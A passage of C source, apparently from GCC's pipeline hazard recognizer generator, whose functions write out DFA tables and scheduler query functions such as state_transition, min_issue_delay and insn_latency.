(state with the maximum num is the first). */ automaton->locked_states = 0; output_states_vect = 0; pass_states (automaton, add_states_vect_el); VEC_safe_grow (vect_el_t,heap, dead_lock_vect, VEC_length (state_t, output_states_vect)); for (i = 0; i < VEC_length (state_t, output_states_vect); i++) { state_t s = VEC_index (state_t, output_states_vect, i); arc = first_out_arc (s); gcc_assert (arc); if (next_out_arc (arc) == NULL && (arc->insn->insn_reserv_decl == DECL_INSN_RESERV (advance_cycle_insn_decl))) { VEC_replace (vect_el_t, dead_lock_vect, s->order_state_num, 1); automaton->locked_states++; } else VEC_replace (vect_el_t, dead_lock_vect, s->order_state_num, 0); } if (automaton->locked_states == 0) return; fprintf (output_file, "/* Vector for locked state flags. */\n"); fprintf (output_file, "static const "); output_range_type (output_file, 0, 1); fprintf (output_file, " "); output_dead_lock_vect_name (output_file, automaton); fprintf (output_file, "[] = {\n"); output_vect (dead_lock_vect); fprintf (output_file, "};\n\n"); VEC_free (state_t,heap, output_states_vect); VEC_free (vect_el_t,heap, dead_lock_vect); } /* Form and output vector representing reserved units of the states of AUTOMATON. */ static void output_reserved_units_table (automaton_t automaton) { vla_hwint_t reserved_units_table = 0; int state_byte_size; int reserved_units_size; size_t n; int i; if (description->query_units_num == 0) return; /* Create vect of pointers to states. */ output_states_vect = 0; pass_states (automaton, add_states_vect_el); /* Create vector. */ state_byte_size = (description->query_units_num + 7) / 8; reserved_units_size = (VEC_length (state_t, output_states_vect) * state_byte_size); reserved_units_table = VEC_alloc (vect_el_t,heap, reserved_units_size); for (i = 0; i < reserved_units_size; i++) VEC_quick_push (vect_el_t, reserved_units_table, 0); for (n = 0; n < VEC_length (state_t, output_states_vect); n++) { state_t s = VEC_index (state_t, output_states_vect, n); for (i = 0; i < description->units_num; i++) if (units_array [i]->query_p && first_cycle_unit_presence (s, i)) { int ri = (s->order_state_num * state_byte_size + units_array [i]->query_num / 8); vect_el_t x = VEC_index (vect_el_t, reserved_units_table, ri); x += 1 << (units_array [i]->query_num % 8); VEC_replace (vect_el_t, reserved_units_table, ri, x); } } fprintf (output_file, "\n#if %s\n", CPU_UNITS_QUERY_MACRO_NAME); fprintf (output_file, "/* Vector for reserved units of states. */\n"); fprintf (output_file, "static const "); output_range_type (output_file, 0, 255); fprintf (output_file, " "); output_reserved_units_table_name (output_file, automaton); fprintf (output_file, "[] = {\n"); output_vect (reserved_units_table); fprintf (output_file, "};\n#endif /* #if %s */\n\n", CPU_UNITS_QUERY_MACRO_NAME); VEC_free (state_t,heap, output_states_vect); VEC_free (vect_el_t,heap, reserved_units_table); } /* The function outputs all tables representing DFA(s) used for fast pipeline hazards recognition. */ static void output_tables (void) { automaton_t automaton; initiate_min_issue_delay_pass_states (); for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { output_translate_vect (automaton); output_trans_table (automaton); output_min_issue_delay_table (automaton); output_dead_lock_vect (automaton); output_reserved_units_table (automaton); } fprintf (output_file, "\n#define %s %d\n\n", ADVANCE_CYCLE_VALUE_NAME, DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num); } /* The function outputs definition and value of PHR interface variable `max_insn_queue_index'. Its value is not less than maximal queue length needed for the insn scheduler. */ static void output_max_insn_queue_index_def (void) { int i, max, latency; decl_t decl; max = description->max_insn_reserv_cycles; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv && decl != advance_cycle_insn_decl) { latency = DECL_INSN_RESERV (decl)->default_latency; if (latency > max) max = latency; } else if (decl->mode == dm_bypass) { latency = DECL_BYPASS (decl)->latency; if (latency > max) max = latency; } } for (i = 0; (1 << i) <= max; i++) ; gcc_assert (i >= 0); fprintf (output_file, "\nconst int max_insn_queue_index = %d;\n\n", (1 << i) - 1); } /* The function outputs switch cases for insn reservations using function *output_automata_list_code. */ static void output_insn_code_cases (void (*output_automata_list_code) (automata_list_el_t)) { decl_t decl, decl2; int i, j; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) DECL_INSN_RESERV (decl)->processed_p = FALSE; } for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv && !DECL_INSN_RESERV (decl)->processed_p) { for (j = i; j < description->decls_num; j++) { decl2 = description->decls [j]; if (decl2->mode == dm_insn_reserv && (DECL_INSN_RESERV (decl2)->important_automata_list == DECL_INSN_RESERV (decl)->important_automata_list)) { DECL_INSN_RESERV (decl2)->processed_p = TRUE; fprintf (output_file, " case %d: /* %s */\n", DECL_INSN_RESERV (decl2)->insn_num, DECL_INSN_RESERV (decl2)->name); } } (*output_automata_list_code) (DECL_INSN_RESERV (decl)->important_automata_list); } } } /* The function outputs a code for evaluation of a minimal delay of issue of insns which have reservations in given AUTOMATA_LIST. */ static void output_automata_list_min_issue_delay_code (automata_list_el_t automata_list) { automata_list_el_t el; automaton_t automaton; for (el = automata_list; el != NULL; el = el->next_automata_list_el) { automaton = el->automaton; fprintf (output_file, "\n %s = ", TEMPORARY_VARIABLE_NAME); output_min_issue_delay_vect_name (output_file, automaton); fprintf (output_file, (automaton->min_issue_delay_table_compression_factor != 1 ? " [(" : " [")); output_translate_vect_name (output_file, automaton); fprintf (output_file, " [%s] + ", INTERNAL_INSN_CODE_NAME); fprintf (output_file, "%s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, automaton); fprintf (output_file, " * %d", automaton->insn_equiv_classes_num); if (automaton->min_issue_delay_table_compression_factor == 1) fprintf (output_file, "];\n"); else { fprintf (output_file, ") / %d];\n", automaton->min_issue_delay_table_compression_factor); fprintf (output_file, " %s = (%s >> (8 - (", TEMPORARY_VARIABLE_NAME, TEMPORARY_VARIABLE_NAME); output_translate_vect_name (output_file, automaton); fprintf (output_file, " [%s] %% %d + 1) * %d)) & %d;\n", INTERNAL_INSN_CODE_NAME, automaton->min_issue_delay_table_compression_factor, 8 / automaton->min_issue_delay_table_compression_factor, (1 << (8 / automaton->min_issue_delay_table_compression_factor)) - 1); } if (el == automata_list) fprintf (output_file, " %s = %s;\n", RESULT_VARIABLE_NAME, TEMPORARY_VARIABLE_NAME); else { fprintf (output_file, " if (%s > %s)\n", TEMPORARY_VARIABLE_NAME, RESULT_VARIABLE_NAME); fprintf (output_file, " %s = %s;\n", RESULT_VARIABLE_NAME, TEMPORARY_VARIABLE_NAME); } } fprintf (output_file, " break;\n\n"); } /* Output function `internal_min_issue_delay'. */ static void output_internal_min_issue_delay_func (void) { fprintf (output_file, "static int\n%s (int %s, struct %s *%s ATTRIBUTE_UNUSED)\n", INTERNAL_MIN_ISSUE_DELAY_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_NAME, CHIP_PARAMETER_NAME); fprintf (output_file, "{\n int %s ATTRIBUTE_UNUSED;\n int %s = -1;\n", TEMPORARY_VARIABLE_NAME, RESULT_VARIABLE_NAME); fprintf (output_file, "\n switch (%s)\n {\n", INTERNAL_INSN_CODE_NAME); output_insn_code_cases (output_automata_list_min_issue_delay_code); fprintf (output_file, "\n default:\n %s = -1;\n break;\n }\n", RESULT_VARIABLE_NAME); fprintf (output_file, " return %s;\n", RESULT_VARIABLE_NAME); fprintf (output_file, "}\n\n"); } /* The function outputs a code changing state after issue of insns which have reservations in given AUTOMATA_LIST. */ static void output_automata_list_transition_code (automata_list_el_t automata_list) { automata_list_el_t el, next_el; fprintf (output_file, " {\n"); if (automata_list != NULL && automata_list->next_automata_list_el != NULL) for (el = automata_list;; el = next_el) { next_el = el->next_automata_list_el; if (next_el == NULL) break; fprintf (output_file, " "); output_state_member_type (output_file, el->automaton); fprintf (output_file, " "); output_temp_chip_member_name (output_file, el->automaton); fprintf (output_file, ";\n"); } for (el = automata_list; el != NULL; el = el->next_automata_list_el) if (comb_vect_p (el->automaton->trans_table)) { fprintf (output_file, "\n %s = ", TEMPORARY_VARIABLE_NAME); output_trans_base_vect_name (output_file, el->automaton); fprintf (output_file, " [%s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, el->automaton); fprintf (output_file, "] + "); output_translate_vect_name (output_file, el->automaton); fprintf (output_file, " [%s];\n", INTERNAL_INSN_CODE_NAME); fprintf (output_file, " if ("); output_trans_check_vect_name (output_file, el->automaton); fprintf (output_file, " [%s] != %s->", TEMPORARY_VARIABLE_NAME, CHIP_PARAMETER_NAME); output_chip_member_name (output_file, el->automaton); fprintf (output_file, ")\n"); fprintf (output_file, " return %s (%s, %s);\n", INTERNAL_MIN_ISSUE_DELAY_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_PARAMETER_NAME); fprintf (output_file, " else\n"); fprintf (output_file, " "); if (el->next_automata_list_el != NULL) output_temp_chip_member_name (output_file, el->automaton); else { fprintf (output_file, "%s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, el->automaton); } fprintf (output_file, " = "); output_trans_comb_vect_name (output_file, el->automaton); fprintf (output_file, " [%s];\n", TEMPORARY_VARIABLE_NAME); } else { fprintf (output_file, "\n %s = ", TEMPORARY_VARIABLE_NAME); output_trans_full_vect_name (output_file, el->automaton); fprintf (output_file, " ["); output_translate_vect_name (output_file, el->automaton); fprintf (output_file, " [%s] + ", INTERNAL_INSN_CODE_NAME); fprintf (output_file, "%s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, el->automaton); fprintf (output_file, " * %d];\n", el->automaton->insn_equiv_classes_num); fprintf (output_file, " if (%s >= %d)\n", TEMPORARY_VARIABLE_NAME, el->automaton->achieved_states_num); fprintf (output_file, " return %s (%s, %s);\n", INTERNAL_MIN_ISSUE_DELAY_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_PARAMETER_NAME); fprintf (output_file, " else\n "); if (el->next_automata_list_el != NULL) output_temp_chip_member_name (output_file, el->automaton); else { fprintf (output_file, "%s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, el->automaton); } fprintf (output_file, " = %s;\n", TEMPORARY_VARIABLE_NAME); } if (automata_list != NULL && automata_list->next_automata_list_el != NULL) for (el = automata_list;; el = next_el) { next_el = el->next_automata_list_el; if (next_el == NULL) break; fprintf (output_file, " %s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, el->automaton); fprintf (output_file, " = "); output_temp_chip_member_name (output_file, el->automaton); fprintf (output_file, ";\n"); } fprintf (output_file, " return -1;\n"); fprintf (output_file, " }\n"); } /* Output function `internal_state_transition'. */ static void output_internal_trans_func (void) { fprintf (output_file, "static int\n%s (int %s, struct %s *%s ATTRIBUTE_UNUSED)\n", INTERNAL_TRANSITION_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_NAME, CHIP_PARAMETER_NAME); fprintf (output_file, "{\n int %s ATTRIBUTE_UNUSED;\n", TEMPORARY_VARIABLE_NAME); fprintf (output_file, "\n switch (%s)\n {\n", INTERNAL_INSN_CODE_NAME); output_insn_code_cases (output_automata_list_transition_code); fprintf (output_file, "\n default:\n return -1;\n }\n"); fprintf (output_file, "}\n\n"); } /* Output code if (insn != 0) { insn_code = dfa_insn_code (insn); if (insn_code > DFA__ADVANCE_CYCLE) return code; } else insn_code = DFA__ADVANCE_CYCLE; where insn denotes INSN_NAME, insn_code denotes INSN_CODE_NAME, and code denotes CODE. */ static void output_internal_insn_code_evaluation (const char *insn_name, const char *insn_code_name, int code) { fprintf (output_file, "\n if (%s != 0)\n {\n", insn_name); fprintf (output_file, " %s = %s (%s);\n", insn_code_name, DFA_INSN_CODE_FUNC_NAME, insn_name); fprintf (output_file, " if (%s > %s)\n return %d;\n", insn_code_name, ADVANCE_CYCLE_VALUE_NAME, code); fprintf (output_file, " }\n else\n %s = %s;\n\n", insn_code_name, ADVANCE_CYCLE_VALUE_NAME); } /* This function outputs `dfa_insn_code' and its helper function `dfa_insn_code_enlarge'. */ static void output_dfa_insn_code_func (void) { /* Emacs c-mode gets really confused if there's a { or } in column 0 inside a string, so don't do that. */ fprintf (output_file, "\ static void\n\ dfa_insn_code_enlarge (int uid)\n\ {\n\ int i = %s;\n\ %s = 2 * uid;\n\ %s = XRESIZEVEC (int, %s,\n\ %s);\n\ for (; i < %s; i++)\n\ %s[i] = -1;\n}\n\n", DFA_INSN_CODES_LENGTH_VARIABLE_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME, DFA_INSN_CODES_VARIABLE_NAME, DFA_INSN_CODES_VARIABLE_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME, DFA_INSN_CODES_LENGTH_VARIABLE_NAME, DFA_INSN_CODES_VARIABLE_NAME); fprintf (output_file, "\ static inline int\n%s (rtx %s)\n\ {\n\ int uid = INSN_UID (%s);\n\ int %s;\n\n", DFA_INSN_CODE_FUNC_NAME, INSN_PARAMETER_NAME, INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME); fprintf (output_file, " if (uid >= %s)\n dfa_insn_code_enlarge (uid);\n\n", DFA_INSN_CODES_LENGTH_VARIABLE_NAME); fprintf (output_file, " %s = %s[uid];\n", INTERNAL_INSN_CODE_NAME, DFA_INSN_CODES_VARIABLE_NAME); fprintf (output_file, "\ if (%s < 0)\n\ {\n\ %s = %s (%s);\n\ %s[uid] = %s;\n\ }\n", INTERNAL_INSN_CODE_NAME, INTERNAL_INSN_CODE_NAME, INTERNAL_DFA_INSN_CODE_FUNC_NAME, INSN_PARAMETER_NAME, DFA_INSN_CODES_VARIABLE_NAME, INTERNAL_INSN_CODE_NAME); fprintf (output_file, " return %s;\n}\n\n", INTERNAL_INSN_CODE_NAME); } /* The function outputs PHR interface function `state_transition'. */ static void output_trans_func (void) { fprintf (output_file, "int\n%s (%s %s, rtx %s)\n", TRANSITION_FUNC_NAME, STATE_TYPE_NAME, STATE_NAME, INSN_PARAMETER_NAME); fprintf (output_file, "{\n int %s;\n", INTERNAL_INSN_CODE_NAME); output_internal_insn_code_evaluation (INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, -1); fprintf (output_file, " return %s (%s, (struct %s *) %s);\n}\n\n", INTERNAL_TRANSITION_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_NAME, STATE_NAME); } /* Output function `min_issue_delay'. */ static void output_min_issue_delay_func (void) { fprintf (output_file, "int\n%s (%s %s, rtx %s)\n", MIN_ISSUE_DELAY_FUNC_NAME, STATE_TYPE_NAME, STATE_NAME, INSN_PARAMETER_NAME); fprintf (output_file, "{\n int %s;\n", INTERNAL_INSN_CODE_NAME); fprintf (output_file, "\n if (%s != 0)\n {\n", INSN_PARAMETER_NAME); fprintf (output_file, " %s = %s (%s);\n", INTERNAL_INSN_CODE_NAME, DFA_INSN_CODE_FUNC_NAME, INSN_PARAMETER_NAME); fprintf (output_file, " if (%s > %s)\n return 0;\n", INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, " }\n else\n %s = %s;\n", INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, "\n return %s (%s, (struct %s *) %s);\n", INTERNAL_MIN_ISSUE_DELAY_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_NAME, STATE_NAME); fprintf (output_file, "}\n\n"); } /* Output function `internal_dead_lock'. */ static void output_internal_dead_lock_func (void) { automaton_t automaton; fprintf (output_file, "static int\n%s (struct %s *ARG_UNUSED (%s))\n", INTERNAL_DEAD_LOCK_FUNC_NAME, CHIP_NAME, CHIP_PARAMETER_NAME); fprintf (output_file, "{\n"); for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) if (automaton->locked_states) { fprintf (output_file, " if ("); output_dead_lock_vect_name (output_file, automaton); fprintf (output_file, " [%s->", CHIP_PARAMETER_NAME); output_chip_member_name (output_file, automaton); fprintf (output_file, "])\n return 1/* TRUE */;\n"); } fprintf (output_file, " return 0/* FALSE */;\n}\n\n"); } /* The function outputs PHR interface function `state_dead_lock_p'. */ static void output_dead_lock_func (void) { fprintf (output_file, "int\n%s (%s %s)\n", DEAD_LOCK_FUNC_NAME, STATE_TYPE_NAME, STATE_NAME); fprintf (output_file, "{\n return %s ((struct %s *) %s);\n}\n\n", INTERNAL_DEAD_LOCK_FUNC_NAME, CHIP_NAME, STATE_NAME); } /* Output function `internal_reset'. */ static void output_internal_reset_func (void) { fprintf (output_file, "static inline void\n%s (struct %s *%s)\n", INTERNAL_RESET_FUNC_NAME, CHIP_NAME, CHIP_PARAMETER_NAME); fprintf (output_file, "{\n memset (%s, 0, sizeof (struct %s));\n}\n\n", CHIP_PARAMETER_NAME, CHIP_NAME); } /* The function outputs PHR interface function `state_size'. */ static void output_size_func (void) { fprintf (output_file, "int\n%s (void)\n", SIZE_FUNC_NAME); fprintf (output_file, "{\n return sizeof (struct %s);\n}\n\n", CHIP_NAME); } /* The function outputs PHR interface function `state_reset'. */ static void output_reset_func (void) { fprintf (output_file, "void\n%s (%s %s)\n", RESET_FUNC_NAME, STATE_TYPE_NAME, STATE_NAME); fprintf (output_file, "{\n %s ((struct %s *) %s);\n}\n\n", INTERNAL_RESET_FUNC_NAME, CHIP_NAME, STATE_NAME); } /* Output function `min_insn_conflict_delay'. */ static void output_min_insn_conflict_delay_func (void) { fprintf (output_file, "int\n%s (%s %s, rtx %s, rtx %s)\n", MIN_INSN_CONFLICT_DELAY_FUNC_NAME, STATE_TYPE_NAME, STATE_NAME, INSN_PARAMETER_NAME, INSN2_PARAMETER_NAME); fprintf (output_file, "{\n struct %s %s;\n int %s, %s, transition;\n", CHIP_NAME, CHIP_NAME, INTERNAL_INSN_CODE_NAME, INTERNAL_INSN2_CODE_NAME); output_internal_insn_code_evaluation (INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, 0); output_internal_insn_code_evaluation (INSN2_PARAMETER_NAME, INTERNAL_INSN2_CODE_NAME, 0); fprintf (output_file, " memcpy (&%s, %s, sizeof (%s));\n", CHIP_NAME, STATE_NAME, CHIP_NAME); fprintf (output_file, " %s (&%s);\n", INTERNAL_RESET_FUNC_NAME, CHIP_NAME); fprintf (output_file, " transition = %s (%s, &%s);\n", INTERNAL_TRANSITION_FUNC_NAME, INTERNAL_INSN_CODE_NAME, CHIP_NAME); fprintf (output_file, " gcc_assert (transition <= 0);\n"); fprintf (output_file, " return %s (%s, &%s);\n", INTERNAL_MIN_ISSUE_DELAY_FUNC_NAME, INTERNAL_INSN2_CODE_NAME, CHIP_NAME); fprintf (output_file, "}\n\n"); } /* Output the array holding default latency values. These are used in insn_latency and maximal_insn_latency function implementations. */ static void output_default_latencies (void) { int i, j, col; decl_t decl; const char *tabletype = "unsigned char"; /* Find the smallest integer type that can hold all the default latency values. */ for (i = 0; i < description->decls_num; i++) if (description->decls[i]->mode == dm_insn_reserv) { decl = description->decls[i]; if (DECL_INSN_RESERV (decl)->default_latency > UCHAR_MAX && tabletype[0] != 'i') /* Don't shrink it. */ tabletype = "unsigned short"; if (DECL_INSN_RESERV (decl)->default_latency > USHRT_MAX) tabletype = "int"; } fprintf (output_file, " static const %s default_latencies[] =\n {", tabletype); for (i = 0, j = 0, col = 7; i < description->decls_num; i++) if (description->decls[i]->mode == dm_insn_reserv && description->decls[i] != advance_cycle_insn_decl) { if ((col = (col+1) % 8) == 0) fputs ("\n ", output_file); decl = description->decls[i]; gcc_assert (j++ == DECL_INSN_RESERV (decl)->insn_num); fprintf (output_file, "% 4d,", DECL_INSN_RESERV (decl)->default_latency); } gcc_assert (j == DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num); fputs ("\n };\n", output_file); } /* Output function `internal_insn_latency'. */ static void output_internal_insn_latency_func (void) { int i; decl_t decl; struct bypass_decl *bypass; fprintf (output_file, "static int\n%s (int %s ATTRIBUTE_UNUSED,\n\tint %s ATTRIBUTE_UNUSED,\n\trtx %s ATTRIBUTE_UNUSED,\n\trtx %s ATTRIBUTE_UNUSED)\n", INTERNAL_INSN_LATENCY_FUNC_NAME, INTERNAL_INSN_CODE_NAME, INTERNAL_INSN2_CODE_NAME, INSN_PARAMETER_NAME, INSN2_PARAMETER_NAME); fprintf (output_file, "{\n"); if (DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num == 0) { fputs (" return 0;\n}\n\n", output_file); return; } fprintf (output_file, " if (%s >= %s || %s >= %s)\n return 0;\n", INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME, INTERNAL_INSN2_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, " switch (%s)\n {\n", INTERNAL_INSN_CODE_NAME); for (i = 0; i < description->decls_num; i++) if (description->decls[i]->mode == dm_insn_reserv && DECL_INSN_RESERV (description->decls[i])->bypass_list) { decl = description->decls [i]; fprintf (output_file, " case %d:\n switch (%s)\n {\n", DECL_INSN_RESERV (decl)->insn_num, INTERNAL_INSN2_CODE_NAME); for (bypass = DECL_INSN_RESERV (decl)->bypass_list; bypass != NULL; bypass = bypass->next) { gcc_assert (bypass->in_insn_reserv->insn_num != (DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num)); fprintf (output_file, " case %d:\n", bypass->in_insn_reserv->insn_num); for (;;) { if (bypass->bypass_guard_name == NULL) { gcc_assert (bypass->next == NULL || (bypass->in_insn_reserv != bypass->next->in_insn_reserv)); fprintf (output_file, " return %d;\n", bypass->latency); } else { fprintf (output_file, " if (%s (%s, %s))\n", bypass->bypass_guard_name, INSN_PARAMETER_NAME, INSN2_PARAMETER_NAME); fprintf (output_file, " return %d;\n", bypass->latency); } if (bypass->next == NULL || bypass->in_insn_reserv != bypass->next->in_insn_reserv) break; bypass = bypass->next; } if (bypass->bypass_guard_name != NULL) fprintf (output_file, " break;\n"); } fputs (" }\n break;\n", output_file); } fprintf (output_file, " }\n return default_latencies[%s];\n}\n\n", INTERNAL_INSN_CODE_NAME); } /* Output function `internal_maximum_insn_latency'. */ static void output_internal_maximal_insn_latency_func (void) { decl_t decl; struct bypass_decl *bypass; int i; int max; fprintf (output_file, "static int\n%s (int %s ATTRIBUTE_UNUSED,\n\trtx %s ATTRIBUTE_UNUSED)\n", "internal_maximal_insn_latency", INTERNAL_INSN_CODE_NAME, INSN_PARAMETER_NAME); fprintf (output_file, "{\n"); if (DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num == 0) { fputs (" return 0;\n}\n\n", output_file); return; } fprintf (output_file, " switch (%s)\n {\n", INTERNAL_INSN_CODE_NAME); for (i = 0; i < description->decls_num; i++) if (description->decls[i]->mode == dm_insn_reserv && DECL_INSN_RESERV (description->decls[i])->bypass_list) { decl = description->decls [i]; max = DECL_INSN_RESERV (decl)->default_latency; fprintf (output_file, " case %d: {", DECL_INSN_RESERV (decl)->insn_num); for (bypass = DECL_INSN_RESERV (decl)->bypass_list; bypass != NULL; bypass = bypass->next) { if (bypass->latency > max) max = bypass->latency; } fprintf (output_file, " return %d; }\n break;\n", max); } fprintf (output_file, " }\n return default_latencies[%s];\n}\n\n", INTERNAL_INSN_CODE_NAME); } /* The function outputs PHR interface function `insn_latency'. */ static void output_insn_latency_func (void) { fprintf (output_file, "int\n%s (rtx %s, rtx %s)\n", INSN_LATENCY_FUNC_NAME, INSN_PARAMETER_NAME, INSN2_PARAMETER_NAME); fprintf (output_file, "{\n int %s, %s;\n", INTERNAL_INSN_CODE_NAME, INTERNAL_INSN2_CODE_NAME); output_internal_insn_code_evaluation (INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, 0); output_internal_insn_code_evaluation (INSN2_PARAMETER_NAME, INTERNAL_INSN2_CODE_NAME, 0); fprintf (output_file, " return %s (%s, %s, %s, %s);\n}\n\n", INTERNAL_INSN_LATENCY_FUNC_NAME, INTERNAL_INSN_CODE_NAME, INTERNAL_INSN2_CODE_NAME, INSN_PARAMETER_NAME, INSN2_PARAMETER_NAME); } /* The function outputs PHR interface function `maximal_insn_latency'. */ static void output_maximal_insn_latency_func (void) { fprintf (output_file, "int\n%s (rtx %s)\n", "maximal_insn_latency", INSN_PARAMETER_NAME); fprintf (output_file, "{\n int %s;\n", INTERNAL_INSN_CODE_NAME); output_internal_insn_code_evaluation (INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, 0); fprintf (output_file, " return %s (%s, %s);\n}\n\n", "internal_maximal_insn_latency", INTERNAL_INSN_CODE_NAME, INSN_PARAMETER_NAME); } /* The function outputs PHR interface function `print_reservation'. */ static void output_print_reservation_func (void) { decl_t decl; int i, j; fprintf (output_file, "void\n%s (FILE *%s, rtx %s ATTRIBUTE_UNUSED)\n{\n", PRINT_RESERVATION_FUNC_NAME, FILE_PARAMETER_NAME, INSN_PARAMETER_NAME); if (DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num == 0) { fprintf (output_file, " fputs (\"%s\", %s);\n}\n\n", NOTHING_NAME, FILE_PARAMETER_NAME); return; } fputs (" static const char *const reservation_names[] =\n {", output_file); for (i = 0, j = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv && decl != advance_cycle_insn_decl) { gcc_assert (j == DECL_INSN_RESERV (decl)->insn_num); j++; fprintf (output_file, "\n \"%s\",", regexp_representation (DECL_INSN_RESERV (decl)->regexp)); finish_regexp_representation (); } } gcc_assert (j == DECL_INSN_RESERV (advance_cycle_insn_decl)->insn_num); fprintf (output_file, "\n \"%s\"\n };\n int %s;\n\n", NOTHING_NAME, INTERNAL_INSN_CODE_NAME); fprintf (output_file, " if (%s == 0)\n %s = %s;\n", INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, " else\n\ {\n\ %s = %s (%s);\n\ if (%s > %s)\n\ %s = %s;\n\ }\n", INTERNAL_INSN_CODE_NAME, DFA_INSN_CODE_FUNC_NAME, INSN_PARAMETER_NAME, INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME, INTERNAL_INSN_CODE_NAME, ADVANCE_CYCLE_VALUE_NAME); fprintf (output_file, " fputs (reservation_names[%s], %s);\n}\n\n", INTERNAL_INSN_CODE_NAME, FILE_PARAMETER_NAME); } /* The following function is used to sort unit declaration by their names. */ static int units_cmp (const void *unit1, const void *unit2) { const_unit_decl_t const u1 = *(const_unit_decl_t const*) unit1; const_unit_decl_t const u2 = *(const_unit_decl_t const*) unit2; return strcmp (u1->name, u2->name); } /* The following macro value is name of struct containing unit name and unit code. */ #define NAME_CODE_STRUCT_NAME "name_code" /* The following macro value is name of table of struct name_code. */ #define NAME_CODE_TABLE_NAME "name_code_table" /* The following macro values are member names for struct name_code. */ #define NAME_MEMBER_NAME "name" #define CODE_MEMBER_NAME "code" /* The following macro values are local variable names for function `get_cpu_unit_code'. */ #define CMP_VARIABLE_NAME "cmp" #define LOW_VARIABLE_NAME "l" #define MIDDLE_VARIABLE_NAME "m" #define HIGH_VARIABLE_NAME "h" /* The following function outputs function to obtain internal cpu unit code by the cpu unit name. */ static void output_get_cpu_unit_code_func (void) { int i; unit_decl_t *units; fprintf (output_file, "int\n%s (const char *%s)\n", GET_CPU_UNIT_CODE_FUNC_NAME, CPU_UNIT_NAME_PARAMETER_NAME); fprintf (output_file, "{\n struct %s {const char *%s; int %s;};\n", NAME_CODE_STRUCT_NAME, NAME_MEMBER_NAME, CODE_MEMBER_NAME); fprintf (output_file, " int %s, %s, %s, %s;\n", CMP_VARIABLE_NAME, LOW_VARIABLE_NAME, MIDDLE_VARIABLE_NAME, HIGH_VARIABLE_NAME); fprintf (output_file, " static struct %s %s [] =\n {\n", NAME_CODE_STRUCT_NAME, NAME_CODE_TABLE_NAME); units = XNEWVEC (unit_decl_t, description->units_num); memcpy (units, units_array, sizeof (unit_decl_t) * description->units_num); qsort (units, description->units_num, sizeof (unit_decl_t), units_cmp); for (i = 0; i < description->units_num; i++) if (units [i]->query_p) fprintf (output_file, " {\"%s\", %d},\n", units[i]->name, units[i]->query_num); fprintf (output_file, " };\n\n"); fprintf (output_file, " /* The following is binary search: */\n"); fprintf (output_file, " %s = 0;\n", LOW_VARIABLE_NAME); fprintf (output_file, " %s = sizeof (%s) / sizeof (struct %s) - 1;\n", HIGH_VARIABLE_NAME, NAME_CODE_TABLE_NAME, NAME_CODE_STRUCT_NAME); fprintf (output_file, " while (%s <= %s)\n {\n", LOW_VARIABLE_NAME, HIGH_VARIABLE_NAME); fprintf (output_file, " %s = (%s + %s) / 2;\n", MIDDLE_VARIABLE_NAME, LOW_VARIABLE_NAME, HIGH_VARIABLE_NAME); fprintf (output_file, " %s = strcmp (%s, %s [%s].%s);\n", CMP_VARIABLE_NAME, CPU_UNIT_NAME_PARAMETER_NAME, NAME_CODE_TABLE_NAME, MIDDLE_VARIABLE_NAME, NAME_MEMBER_NAME); fprintf (output_file, " if (%s < 0)\n", CMP_VARIABLE_NAME); fprintf (output_file, " %s = %s - 1;\n", HIGH_VARIABLE_NAME, MIDDLE_VARIABLE_NAME); fprintf (output_file, " else if (%s > 0)\n", CMP_VARIABLE_NAME); fprintf (output_file, " %s = %s + 1;\n", LOW_VARIABLE_NAME, MIDDLE_VARIABLE_NAME); fprintf (output_file, " else\n"); fprintf (output_file, " return %s [%s].%s;\n }\n", NAME_CODE_TABLE_NAME, MIDDLE_VARIABLE_NAME, CODE_MEMBER_NAME); fprintf (output_file, " return -1;\n}\n\n"); free (units); } /* The following function outputs function to check reservation of cpu unit (its internal code will be passed as the function argument) in given cpu state. */ static void output_cpu_unit_reservation_p (void) { automaton_t automaton; fprintf (output_file, "int\n%s (%s %s, int %s)\n", CPU_UNIT_RESERVATION_P_FUNC_NAME, STATE_TYPE_NAME, STATE_NAME, CPU_CODE_PARAMETER_NAME); fprintf (output_file, "{\n gcc_assert (%s >= 0 && %s < %d);\n", CPU_CODE_PARAMETER_NAME, 